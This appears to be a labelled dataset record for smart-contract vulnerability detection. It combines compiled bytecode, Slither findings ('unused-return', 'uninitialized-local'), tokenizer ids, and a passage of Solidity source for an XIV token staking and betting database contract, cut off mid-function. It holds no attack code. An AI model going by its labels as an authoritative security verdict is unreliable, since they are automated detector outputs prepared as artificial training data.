178555612e85565b82800160010185558215612e85579182015b82811115612e84578251825591602001919060010190612e69565b5b509050612e929190612e96565b5090565b5b80821115612eaf576000816000905550600101612e97565b5090565b6000612ec6612ec184613ab5565b613a90565b905082815260208101848484011115612ee257612ee1613f7a565b5b612eed848285613d3c565b509392505050565b6000612f08612f0384613ae6565b613a90565b905082815260208101848484011115612f2457612f23613f7a565b5b612f2f848285613d3c565b509392505050565b600081359050612f4681614493565b92915050565b600081359050612f5b816144aa565b92915050565b600081359050612f70816144c1565b92915050565b600081519050612f85816144c1565b92915050565b600082601f830112612fa057612f9f613f75565b5b8135612fb0848260208601612eb3565b91505092915050565b600082601f830112612fce57612fcd613f75565b5b8135612fde848260208601612ef5565b91505092915050565b600081359050612ff6816144d8565b92915050565b60006020828403121561301257613011613f84565b5b600061302084828501612f37565b91505092915050565b600080604083850312156130405761303f613f84565b5b600061304e85828601612f37565b925050602061305f85828601612f37565b9150509250929050565b60008060006060848603121561308257613081613f84565b5b600061309086828701612f37565b93505060206130a186828701612f37565b92505060406130b286828701612fe7565b9150509250925092565b600080600080608085870312156130d6576130d5613f84565b5b60006130e487828801612f37565b94505060206130f587828801612f37565b935050604061310687828801612fe7565b925050606085013567ffffffffffffffff81111561312757613126613f7f565b5b61313387828801612f8b565b91505092959194509250565b6000806040838503121561315657613155613f84565b5b600061316485828601612f37565b925050602061317585828601612f4c565b9150509250929050565b6000806040838503121561319657613195613f84565b5b60006131a485828601612f37565b92505060206131b585828601612fe7565b9150509250929050565b6000602082840312156131d5576131d4613f84565b5b60006131e384828501612f4c565b91505092915050565b60006020828403121561320257613201613f84565b5b600061321084828501612f61565b91505092915050565b60006020828403121561322f5761322e613f84565b5b600061323d84828501612f76565b91505092915050565b60006020828403121561325c5761325b613f84565b5b600082013567ffffffffffffffff81111561327a57613279613f7f565b5b61328684828501612fb9565b91505092915050565b6000602082840312156132a5576132a4613f84565b5b60006132b384828501612fe7565b91505092915050565b60006132c8838361370b565b60208301905092915050565b6132dd81613cc8565b82525050565b60006132ee82613b3c565b6132f88185613b6a565b935061330383613b17565b8060005b8381101561333457815161331b88826132bc565b975061332683613b5d565b925050600181019050613307565b5085935050505092915050565b61334a81613cda565b82525050565b600061335b82613b47565b6133658185613b7b565b9350613375818560208601613d4b565b61337e81613f89565b840191505092915050565b600061339482613b52565b61339e8185613b97565b93506133ae818560208601613d4b565b6133b781613f89565b840191505092915050565b60006133cd82613b52565b6133d78185613ba8565b93506133e7818560208601613d4b565b80840191505092915050565b6000815461340081613d7e565b61340a8186613ba8565b94506001821660008114613425576001811461343657613469565b60ff19831686528186019350613469565b61343f85613b27565b60005b8381101561346157815481890152600182019150602081019050613442565b838801955050505b50505092915050565b600061347f602b83613b97565b915061348a82613f9a565b604082019050919050565b60006134a2603283613b97565b91506134ad82613fe9565b604082019050919050565b60006134c5602683613b97565b91506134d082614038565b604082019050919050565b60006134e8602583613b97565b91506134f382614087565b604082019050919050565b600061350b601c83613b97565b9150613516826140d6565b602082019050919050565b600061352e602483613b97565b9150613539826140ff565b604082019050919050565b6000613551601983613b97565b915061355c8261414e565b602082019050919050565b6000613574602c83613b97565b915061357f82614177565b604082019050919050565b6000613597603883613b97565b91506135a2826141c6565b604082019050919050565b60006135ba602a83613b97565b91506135c582614215565b604082019050919050565b60006135dd602983613b97565b91506135e882614264565b604082019050919050565b6000613600602083613b97565b915061360b826142b3565b602082019050919050565b6000613623602c83613b97565b915061362e826142dc565b604082019050919050565b6000613646602083613b97565b91506136518261432b565b602082019050919050565b6000613669602f83613b97565b915061367482614354565b604082019050919050565b600061368c602183613b97565b9150613697826143a3565b604082019050919050565b60006136af600083613b8c565b91506136ba826143f2565b600082019050919050565b60006136d2603183613b97565b91506136dd826143f5565b604082019050919050565b60006136f5602c83613b97565b915061370082614444565b604082019050919050565b61371481613d32565b82525050565b61372381613d32565b82525050565b600061373582866133c2565b915061374182856133c2565b915061374d82846133f3565b9150819050949350505050565b6000613765826136a2565b9150819050919050565b600060208201905061378460008301846132d4565b92915050565b600060808201905061379f60008301876132d4565b6137ac60208301866132d4565b6137b9604083018561371a565b81810360608301526137cb8184613350565b905095945050505050565b600060208201905081810360008301526137f081846132e3565b905092915050565b600060208201905061380d6000830184613341565b92915050565b6000602082019050818103600083015261382d8184613389565b905092915050565b6000602082019050818103600083015261384e81613472565b9050919050565b6000602082019050818103600083015261386e81613495565b9050919050565b6000602082019050818103600083015261388e816134b8565b9050919050565b600060208201905081810360008301526138ae816134db565b9050919050565b600060208201905081810360008301526138ce816134fe565b9050919050565b600060208201905081810360008301526138ee81613521565b9050919050565b6000602082019050818103600083015261390e81613544565b9050919050565b6000602082019050818103600083015261392e81613567565b9050919050565b6000602082019050818103600083015261394e8161358a565b9050919050565b6000602082019050818103600083015261396e816135ad565b9050919050565b6000602082019050818103600083015261398e816135d0565b9050919050565b600060208201905081810360008301526139ae816135f3565b9050919050565b600060208201905081810360008301526139ce81613616565b9050919050565b600060208201905081810360008301526139ee81613639565b9050919050565b60006020820190508181036000830152613a0e8161365c565b9050919050565b60006020820190508181036000830152613a2e8161367f565b9050919050565b60006020820190508181036000830152613a4e816136c5565b9050919050565b60006020820190508181036000830152613a6e816136e8565b9050919050565b6000602082019050613a8a600083018461371a565b92915050565b6000613a9a613aab565b9050613aa68282613db0565b919050565b6000604051905090565b600067ffffffffffffffff821115613ad057613acf613f46565b5b613ad982613f89565b9050602081019050919050565b600067ffffffffffffffff821115613b0157613b00613f46565b5b613b0a82613f89565b9050602081019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b6000613bbe82613d32565b9150613bc983613d32565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613bfe57613bfd613e5b565b5b828201905092915050565b6000613c1482613d32565b9150613c1f83613d32565b925082613c2f57613c2e613e8a565b5b828204905092915050565b6000613c4582613d32565b9150613c5083613d32565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613c8957613c88613e5b565b5b828202905092915050565b6000613c9f82613d32565b9150613caa83613d32565b925082821015613cbd57613cbc613e5b565b5b828203905092915050565b6000613cd382613d12565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015613d69578082015181840152602081019050613d4e565b83811115613d78576000848401525b50505050565b60006002820490506001821680613d9657607f821691505b60208210811415613daa57613da9613eb9565b5b50919050565b613db982613f89565b810181811067ffffffffffffffff82111715613dd857613dd7613f46565b5b80604052505050565b6000613dec82613d32565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613e1f57613e1e613e5b565b5b600182019050919050565b6000613e3582613d32565b9150613e4083613d32565b925082613e5057613e4f613e8a565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722066726f6d20696e636f72726563742060008201527f6f776e6572000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b50565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b61449c81613cc8565b81146144a757600080fd5b50565b6144b381613cda565b81146144be57600080fd5b50565b6144ca81613ce6565b81146144d557600080fd5b50565b6144e181613d32565b81146144ec57600080fd5b5056fea26469706673582212205e160e89412a91a05bcd6d868e58bf6a7f887cea85c0776f4670bfd96b81b19c64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2050, 2692, 2094, 2487, 2050, 2620, 2063, 15136, 2094, 2683, 27531, 16086, 19797, 11387, 2475, 2497, 22203, 2509, 4246, 4783, 2546, 22275, 2094, 2683, 2620, 9818, 2094, 2509, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 7817, 1012, 14017, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 21183, 12146, 1013, 7817, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5164, 3136, 1012, 1008, 1013, 3075, 7817, 1063, 27507, 16048, 2797, 5377, 1035, 2002, 2595, 1035, 9255, 1027, 1000, 5890, 21926, 19961, 2575, 2581, 2620, 2683, 7875, 19797, 12879, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,355
0x96A0F13597D7DAB5952Cdcf8C8Ca09eAc97a0a75
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; pragma abicoder v2; import "./Ownable.sol"; import "./SafeMath.sol"; import "./InlineInterface.sol"; import "./TransferHelper.sol"; contract InlineDatabase is Ownable{ using SafeMath for uint256; mapping (address=>uint256) tokensStaked; //amount of XIV staked by user + incentive from betting mapping(address=> uint256) actualAmountStakingByUser; // XIV staked by users. address[] userStakedAddress; // array of user's address who has staked.. address[] tempArray; uint256 tokenStakedAmount; // total Amount currently staked by all users. uint256 minStakeXIVAmount; // min amount that user can bet on. uint256 maxStakeXIVAmount; // max amount that user can bet on. uint256 totalTransactions; // sum of all transactions uint256 maxLPLimit; // totalamount that can be staked in LP mapping(address=>bool) isStakeMapping; uint256 minLPvalue; // min amount of token that user can stake in LP mapping(address=>InlineDatabaseLib.LPLockedInfo) lockingPeriodForLPMapping; // time for which staked value is locked uint256 betFactorLP; // this is the ratio according to which users can bet considering the amount staked.. address public XIVMainContractAddress; address public XIVBettingFixedContractAddress; address public XIVBettingFlexibleContractAddress; //mainnet address oracleWrapperContractAddress = 0x70A89e52faEFe600A2a0f6D12804CB613F61BE61; //address of oracle wrapper from where the prices would be fetched address XIVTokenContractAddress = 0x44f262622248027f8E2a8Fb1090c4Cf85072392C; //XIV contract address address public adminAddress=0x1Cff36DeBD53EEB3264fD75497356132C4067632; // // mapping and arry of the currencies in the flash individuals vaults. // mapping(address=>InlineDatabaseLib.DefiCoin) flashVaultMapping; // address[] flashVaultContractAddressArray; /* * 1--> defi coins, 2--> chain coins, 3--> nft coins */ /* * fixed individuals starts */ // mapping and arry of the currencies in the fixed individuals vaults. mapping(uint256=>mapping(address=>InlineDatabaseLib.DefiCoin)) fixedMapping; address[] allDefiCoinFixedContractAddressArray; address[] allChainCoinFixedContractAddressArray; address[] allNftCoinFixedContractAddressArray; // array of daysCount and its % drop and other values for fixed InlineDatabaseLib.FixedInfo[] fixedDefiCoinArray; /* * flexible individuals starts */ // mapping and arry of the currencies in the flexible individuals vaults. mapping(uint256=>mapping(address=>InlineDatabaseLib.DefiCoin)) flexibleMapping; address[] allDefiCoinFlexibleContractAddressArray; address[] allChainCoinFlexibleContractAddressArray; address[] allNftCoinFlexibleContractAddressArray; // flexible individual dropvalue and other values InlineDatabaseLib.FlexibleInfo[] flexibleDefiCoinArray; // flexible individual time periods days InlineDatabaseLib.TimePeriod[] flexibleDefiCoinTimePeriodArray; /* * fixed and flexible adding currency index starts */ // mapping and arry of the currencies for all index vaults. mapping(uint256=>mapping(address=>InlineDatabaseLib.IndexCoin)) indexMapping; address[] allIndexDefiCoinContractAddressArray; address[] allIndexChainCoinContractAddressArray; address[] allIndexNftCoinContractAddressArray; /* * flexible index starts */ // flexible index dropvalue and other values InlineDatabaseLib.FlexibleInfo[] flexibleIndexArray; // flexible index time periods days InlineDatabaseLib.TimePeriod[] flexibleIndexTimePeriodArray; /* * fixed index starts */ InlineDatabaseLib.FixedInfo[] fixedDefiIndexArray; // this contains the values on which index bet is placed mapping(uint256=>InlineDatabaseLib.BetPriceHistory) betPriceHistoryMapping; // this include array of imdex on which bet is placed. key will be betId and value will be array of all index... mapping(uint256=>InlineDatabaseLib.IndexCoin[]) betIndexArray; mapping(uint256=>uint256) betBaseIndexValue; //10**8 index value mapping(uint256=>uint256) betActualIndexValue; // marketcap value uint256 betid; InlineDatabaseLib.BetInfo[] betArray; mapping(uint256=>uint256) findBetInArrayUsingBetIdMapping; // getting the bet index using betid... Key is betId and value will be index in the betArray... mapping(address=> uint256[]) betAddressesArray; uint256 plentyOneDayPercentage; // percentage in 10**2 mapping(uint256=>uint256) plentyThreeDayPercentage; // key is day and value is percentage in 10**2 mapping(uint256=>uint256) plentySevenDayPercentage; // key is day and value is percentage in 10**2 uint256[] daysArray; address[] userAddressUsedForBetting; mapping(address=>mapping(uint256=>mapping(address=>bool))) existingBetCheckMapping; event BetDetails(uint256 indexed betId, uint256 indexed status, uint256 indexed betEndTime); event LPEvent(uint256 typeOfLP, address indexed userAddress, uint256 amount, uint256 timestamp); function emitBetDetails(uint256 betId, uint256 status, uint256 betEndTime) external onlyMyContracts{ emit BetDetails( betId, status, betEndTime); } function emitLPEvent(uint256 typeOfLP, address userAddress, uint256 amount, uint256 timestamp) external onlyMyContracts{ emit LPEvent(typeOfLP, userAddress, amount, timestamp); } function updateExistingBetCheckMapping(address _userAddress,uint256 _betType, address _BetContractAddress,bool status) external onlyMyContracts{ existingBetCheckMapping[_userAddress][_betType][_BetContractAddress]=status; } function getExistingBetCheckMapping(address _userAddress,uint256 _betType, address _BetContractAddress) external view returns(bool){ return (existingBetCheckMapping[_userAddress][_betType][_BetContractAddress]); } function addFixedDefiCoinArray(uint64 _daysCount,uint16 _upDownPercentage, uint16 _riskFactor, uint16 _rewardFactor) public onlyOwner{ bool isAvailable=false; for(uint256 i=0;i<fixedDefiCoinArray.length;i++){ if(fixedDefiCoinArray[i].daysCount==_daysCount){ isAvailable=true; break; } } require(!isAvailable,"Already have this data."); InlineDatabaseLib.FixedInfo memory fobject=InlineDatabaseLib.FixedInfo({ id:(uint128)(fixedDefiCoinArray.length), daysCount:_daysCount, upDownPercentage:_upDownPercentage, riskFactor:_riskFactor, rewardFactor:_rewardFactor, status:true }); fixedDefiCoinArray.push(fobject); addDaysToDayArray(_daysCount); } function updateFixedDefiCoinArray(uint256 index,uint64 _daysCount,uint16 _upDownPercentage, uint16 _riskFactor, uint16 _rewardFactor, bool _status) public onlyOwner{ fixedDefiCoinArray[index].daysCount=_daysCount; fixedDefiCoinArray[index].upDownPercentage=_upDownPercentage; fixedDefiCoinArray[index].riskFactor=_riskFactor; fixedDefiCoinArray[index].rewardFactor=_rewardFactor; fixedDefiCoinArray[index].status=_status; addDaysToDayArray(_daysCount); } function addUpdateForFixedCoin(address _ContractAddress, string memory _currencySymbol, uint16 _OracleType, bool _Status, uint256 coinType) public onlyOwner{ require(coinType>0 && coinType<=3,"Please enter valid CoinType"); // add update defi felxible coin InlineDatabaseLib.DefiCoin memory dCoin=InlineDatabaseLib.DefiCoin({ oracleType:_OracleType, currencySymbol:_currencySymbol, status:_Status }); fixedMapping[coinType][_ContractAddress]=dCoin; // check wheather contract exists in allFlexibleContractAddressArray array if(!contractAvailableInArray(_ContractAddress, coinType==1?allDefiCoinFixedContractAddressArray:(coinType==2?allChainCoinFixedContractAddressArray:allNftCoinFixedContractAddressArray))){ (coinType==1?allDefiCoinFixedContractAddressArray:(coinType==2?allChainCoinFixedContractAddressArray:allNftCoinFixedContractAddressArray)).push(_ContractAddress); } } function getFixedMapping(address _betContractAddress, uint256 coinType) external view returns(InlineDatabaseLib.DefiCoin memory){ return (fixedMapping[coinType][_betContractAddress]); } function getFixedContractAddressArray(uint256 coinType) external view returns(address[] memory){ return ((coinType==1?allDefiCoinFixedContractAddressArray:(coinType==2?allChainCoinFixedContractAddressArray:allNftCoinFixedContractAddressArray))); } function addUpdateForFlexible(address _ContractAddress, string memory _currencySymbol, uint16 _OracleType, bool _Status, uint256 coinType) public onlyOwner{ require(coinType>0 && coinType<=3,"Please enter valid CoinType"); // add update defi felxible coin InlineDatabaseLib.DefiCoin memory dCoin=InlineDatabaseLib.DefiCoin({ oracleType:_OracleType, currencySymbol:_currencySymbol, status:_Status }); flexibleMapping[coinType][_ContractAddress]=dCoin; // check wheather contract exists in allFlexibleContractAddressArray array if(!contractAvailableInArray(_ContractAddress, coinType==1?allDefiCoinFlexibleContractAddressArray:(coinType==2?allChainCoinFlexibleContractAddressArray:allNftCoinFlexibleContractAddressArray))){ (coinType==1?allDefiCoinFlexibleContractAddressArray:(coinType==2?allChainCoinFlexibleContractAddressArray:allNftCoinFlexibleContractAddressArray)).push(_ContractAddress); } } function getFlexibleMapping(address _betContractAddress, uint256 coinType) external view returns(InlineDatabaseLib.DefiCoin memory){ return (flexibleMapping[coinType][_betContractAddress]); } function getFlexibleContractAddressArray(uint256 coinType) external view returns(address[] memory){ return (coinType==1?allDefiCoinFlexibleContractAddressArray:(coinType==2?allChainCoinFlexibleContractAddressArray:allNftCoinFlexibleContractAddressArray)); } function addflexibleDefiCoinArray(uint16 _upDownPercentage, uint16 _riskFactor, uint16 _rewardFactor) public onlyOwner{ InlineDatabaseLib.FlexibleInfo memory fobject=InlineDatabaseLib.FlexibleInfo({ id:(uint128)(flexibleDefiCoinArray.length), upDownPercentage:_upDownPercentage, riskFactor:_riskFactor, rewardFactor:_rewardFactor, status:true }); flexibleDefiCoinArray.push(fobject); } function updateflexibleDefiCoinArray(uint256 index,uint16 _upDownPercentage, uint16 _riskFactor, uint16 _rewardFactor, bool _status) public onlyOwner{ flexibleDefiCoinArray[index].upDownPercentage=_upDownPercentage; flexibleDefiCoinArray[index].riskFactor=_riskFactor; flexibleDefiCoinArray[index].rewardFactor=_rewardFactor; flexibleDefiCoinArray[index].status=_status; } function addFlexibleDefiCoinTimePeriodArray(uint64 _tdays) public onlyOwner{ bool isAvailable=false; for(uint64 i=0;i<flexibleDefiCoinTimePeriodArray.length;i++){ if(flexibleDefiCoinTimePeriodArray[i]._days==_tdays){ isAvailable=true; break; } } require(!isAvailable,"Already have this data."); InlineDatabaseLib.TimePeriod memory tobject= InlineDatabaseLib.TimePeriod({ _days:_tdays, status:true }); flexibleDefiCoinTimePeriodArray.push(tobject); addDaysToDayArray(_tdays); } function updateFlexibleDefiCoinTimePeriodArray(uint256 index, uint64 _tdays, bool _status) public onlyOwner{ flexibleDefiCoinTimePeriodArray[index]._days=_tdays; flexibleDefiCoinTimePeriodArray[index].status=_status; addDaysToDayArray(_tdays); } function getFlexibleDefiCoinTimePeriodArray() external view returns(InlineDatabaseLib.TimePeriod[] memory){ return flexibleDefiCoinTimePeriodArray; } function addUpdateForIndexCoin(InlineDatabaseLib.IndexCoin[] memory tupleCoinArray, uint256 coinType) public onlyOwner{ // add update index fixed coin tempArray=new address[](0); if(coinType==1){ allIndexDefiCoinContractAddressArray=tempArray; }else if(coinType==2){ allIndexChainCoinContractAddressArray=tempArray; }else{ allIndexNftCoinContractAddressArray=tempArray; } for(uint256 i=0;i<tupleCoinArray.length;i++){ indexMapping[coinType][tupleCoinArray[i].contractAddress]=tupleCoinArray[i]; // check wheather contract exists in allFixedContractAddressArray array if(!contractAvailableInArray(tupleCoinArray[i].contractAddress, coinType==1?allIndexDefiCoinContractAddressArray:(coinType==2?allIndexChainCoinContractAddressArray:allIndexNftCoinContractAddressArray))){ if(coinType==1){ allIndexDefiCoinContractAddressArray.push(tupleCoinArray[i].contractAddress); }else if(coinType==2){ allIndexChainCoinContractAddressArray.push(tupleCoinArray[i].contractAddress); }else{ allIndexNftCoinContractAddressArray.push(tupleCoinArray[i].contractAddress); } } } } function getAllIndexContractAddressArray(uint256 coinType) external view returns(address[] memory){ return (coinType==1?allIndexDefiCoinContractAddressArray:(coinType==2?allIndexChainCoinContractAddressArray:allIndexNftCoinContractAddressArray)); } function getIndexMapping(address _ContractAddress, uint256 coinType) external view returns(InlineDatabaseLib.IndexCoin memory){ return (indexMapping[coinType][_ContractAddress]); } function addflexibleIndexCoinArray(uint16 _upDownPercentage, uint16 _riskFactor, uint16 _rewardFactor) public onlyOwner{ InlineDatabaseLib.FlexibleInfo memory fobject=InlineDatabaseLib.FlexibleInfo({ id:(uint128)(flexibleIndexArray.length), upDownPercentage:_upDownPercentage, riskFactor:_riskFactor, rewardFactor:_rewardFactor, status:true }); flexibleIndexArray.push(fobject); } function updateflexibleIndexCoinArray(uint256 index,uint16 _upDownPercentage, uint16 _riskFactor, uint16 _rewardFactor, bool _status) public onlyOwner{ flexibleIndexArray[index].upDownPercentage=_upDownPercentage; flexibleIndexArray[index].riskFactor=_riskFactor; flexibleIndexArray[index].rewardFactor=_rewardFactor; flexibleIndexArray[index].status=_status; } function addFlexibleIndexTimePeriodArray(uint64 _tdays) public onlyOwner{ bool isAvailable=false; for(uint64 i=0;i<flexibleIndexTimePeriodArray.length;i++){ if(flexibleIndexTimePeriodArray[i]._days==_tdays){ isAvailable=true; break; } } require(!isAvailable,"Already have this data."); InlineDatabaseLib.TimePeriod memory tobject= InlineDatabaseLib.TimePeriod({ _days:_tdays, status:true }); flexibleIndexTimePeriodArray.push(tobject); addDaysToDayArray(_tdays); } function updateFlexibleIndexTimePeriodArray(uint256 index, uint64 _tdays, bool _status) public onlyOwner{ flexibleIndexTimePeriodArray[index]._days=_tdays; flexibleIndexTimePeriodArray[index].status=_status; addDaysToDayArray(_tdays); } function getFlexibleIndexTimePeriodArray() external view returns(InlineDatabaseLib.TimePeriod[] memory){ return flexibleIndexTimePeriodArray; } function addFixedDefiIndexArray(uint64 _daysCount,uint16 _upDownPercentage, uint16 _riskFactor, uint16 _rewardFactor) public onlyOwner{ bool isAvailable=false; for(uint64 i=0;i<fixedDefiIndexArray.length;i++){ if(fixedDefiIndexArray[i].daysCount==_daysCount){ isAvailable=true; break; } } require(!isAvailable,"Already have this data."); InlineDatabaseLib.FixedInfo memory fobject=InlineDatabaseLib.FixedInfo({ id:(uint128)(fixedDefiIndexArray.length), daysCount:_daysCount, upDownPercentage:_upDownPercentage, riskFactor:_riskFactor, rewardFactor:_rewardFactor, status:true }); fixedDefiIndexArray.push(fobject); addDaysToDayArray(_daysCount); } function updateFixedDefiIndexArray(uint256 index,uint64 _daysCount,uint16 _upDownPercentage, uint16 _riskFactor, uint16 _rewardFactor, bool _status) public onlyOwner{ fixedDefiIndexArray[index].daysCount=_daysCount; fixedDefiIndexArray[index].upDownPercentage=_upDownPercentage; fixedDefiIndexArray[index].riskFactor=_riskFactor; fixedDefiIndexArray[index].rewardFactor=_rewardFactor; fixedDefiIndexArray[index].status=_status; addDaysToDayArray(_daysCount); } function contractAvailableInArray(address _ContractAddress,address[] memory _contractArray) internal pure returns(bool){ for(uint256 i=0;i<_contractArray.length;i++){ if(_ContractAddress==_contractArray[i]){ return true; } } return false; } function updateMaxStakeXIVAmount(uint256 _maxStakeXIVAmount) external onlyOwner{ maxStakeXIVAmount=_maxStakeXIVAmount; } function getMaxStakeXIVAmount() external view returns(uint256){ return maxStakeXIVAmount; } function updateMinStakeXIVAmount(uint256 _minStakeXIVAmount) external onlyOwner{ minStakeXIVAmount=_minStakeXIVAmount; } function getMinStakeXIVAmount() external view returns(uint256){ return minStakeXIVAmount; } function updateMinLPvalue(uint256 _minLPvalue) external onlyOwner{ minLPvalue=_minLPvalue; } function getMinLPvalue() external view returns(uint256){ return minLPvalue; } function updateBetFactorLP(uint256 _betFactorLP) external onlyOwner{ betFactorLP=_betFactorLP; } function getBetFactorLP() external view returns(uint256){ return betFactorLP; } function updateTotalTransactions(uint256 _totalTransactions) external onlyMyContracts{ totalTransactions=_totalTransactions; } function getTotalTransactions() external view returns(uint256){ return totalTransactions; } function updateMaxLPLimit(uint256 _maxLPLimit) external onlyOwner{ maxLPLimit=_maxLPLimit; } function getMaxLPLimit() external view returns(uint256){ return maxLPLimit; } function updateXIVMainContractAddress(address _XIVMainContractAddress) external onlyOwner{ XIVMainContractAddress=_XIVMainContractAddress; } function updateXIVBettingFixedContractAddress(address _XIVBettingFixedContractAddress) external onlyOwner{ XIVBettingFixedContractAddress=_XIVBettingFixedContractAddress; } function updateXIVBettingFlexibleContractAddress(address _XIVBettingFlexibleContractAddress) external onlyOwner{ XIVBettingFlexibleContractAddress=_XIVBettingFlexibleContractAddress; } function updateXIVTokenContractAddress(address _XIVTokenContractAddress) external onlyOwner{ XIVTokenContractAddress=_XIVTokenContractAddress; } function getXIVTokenContractAddress() external view returns(address){ return XIVTokenContractAddress; } function updateBetBaseIndexValue(uint256 _betBaseIndexValue, uint256 coinType) external onlyMyContracts{ betBaseIndexValue[coinType]=_betBaseIndexValue; } function getBetBaseIndexValue(uint256 coinType) external view returns(uint256){ return betBaseIndexValue[coinType]; } function updateBetActualIndexValue(uint256 _betActualIndexValue, uint256 coinType) external onlyMyContracts{ betActualIndexValue[coinType]=_betActualIndexValue; } function getBetActualIndexValue(uint256 coinType) external view returns(uint256){ return betActualIndexValue[coinType]; } function transferTokens(address contractAddress,address userAddress,uint256 amount) external onlyMyContracts { Token tokenObj=Token(contractAddress); require(tokenObj.balanceOf(address(this))>= amount, "Tokens not available"); TransferHelper.safeTransfer(contractAddress,userAddress, amount); } function transferFromTokens(address contractAddress,address fromAddress, address toAddress,uint256 amount) external onlyMyContracts { require(checkTokens(contractAddress,amount,fromAddress)); TransferHelper.safeTransferFrom(contractAddress,fromAddress, toAddress, amount); } function checkTokens(address contractAddress,uint256 amount, address fromAddress) internal view returns(bool){ Token tokenObj = Token(contractAddress); //check if user has balance require(tokenObj.balanceOf(fromAddress) >= amount, "You don't have enough XIV balance"); //check if user has provided allowance require(tokenObj.allowance(fromAddress,address(this)) >= amount, "Please allow smart contract to spend on your behalf"); return true; } function getTokensStaked(address userAddress) external view returns(uint256){ return (tokensStaked[userAddress]); } function updateTokensStaked(address userAddress, uint256 amount) external onlyMyContracts{ tokensStaked[userAddress]=amount; } function getActualAmountStakedByUser(address userAddress) external view returns(uint256){ return (actualAmountStakingByUser[userAddress]); } function updateIsStakeMapping(address userAddress,bool isStake) external onlyMyContracts{ isStakeMapping[userAddress]=(isStake); } function getIsStakeMapping(address userAddress) external view returns(bool){ return (isStakeMapping[userAddress]); } function updateActualAmountStakedByUser(address userAddress, uint256 amount) external onlyMyContracts{ actualAmountStakingByUser[userAddress]=amount; } function getLockingPeriodForLPMapping(address userAddress) external view returns(InlineDatabaseLib.LPLockedInfo memory){ return 